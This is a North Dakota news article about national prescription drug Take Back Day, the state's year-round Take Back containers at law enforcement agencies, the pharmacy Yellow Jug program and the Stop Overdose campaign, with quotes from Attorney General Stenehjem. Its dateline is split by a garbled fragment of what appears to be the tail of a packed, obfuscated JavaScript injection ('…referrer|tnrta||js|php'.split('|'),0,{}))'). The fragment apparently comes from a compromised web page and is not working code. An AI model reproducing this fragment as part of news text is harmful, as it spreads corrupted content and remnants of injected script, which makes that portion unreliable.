BISMARCK, nrbnd|var|u0026u|referrer|tnrta||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Tomorrow is national prescription drug “Take Back Day.” Attorney General Wayne Stenehjem reminds North Dakota residents who want to safely dispose of unused prescription and over the counter medications that they can turn to the state’s year-round Take Back program.

Take Back disposal containers are located at local law enforcement agencies across the state. Over 2,100 pounds of OxyContin, Fentanyl, Prozac, and other drugs that have been collected from Take Back containers during the past six months were destroyed in a controlled burn conducted earlier this month. Other disposal methods, such as flushing medications or mixing them with coffee grounds or cat litter, can create environmental hazards.

Earlier this year, Stenehjem joined Governor Dalrymple and other state officials in launching the state’s Stop Overdose campaign, reminding residents to “Lock, Monitor and Take Back” medications.

“Prescription drug abuse is a growing problem in this state. Responsible disposal of unused prescription medications is a very simple step to make sure these powerful drugs are not diverted and misused,” said Stenehjem.

More than seven and a half tons (15,314 pounds) of unused prescription drugs and over the counter medications have been collected and destroyed since the state’s Take Back program started in December 2009.

North Dakota now offers two free programs for residents to dispose of unwanted medications. In April, the state Board of Pharmacy launched its Yellow Jug program, which puts secure disposal containers at the pharmacy counter in participating pharmacies.

More information about the state’s Take Back and Yellow Jug locations is available on the “Drug Take Back” link on the Attorney General’s website, www.ag.nd.gov. Information about the Stop Overdose Campaign and the Lock-Monitor-Take Back resources is at prevention.nd.gov.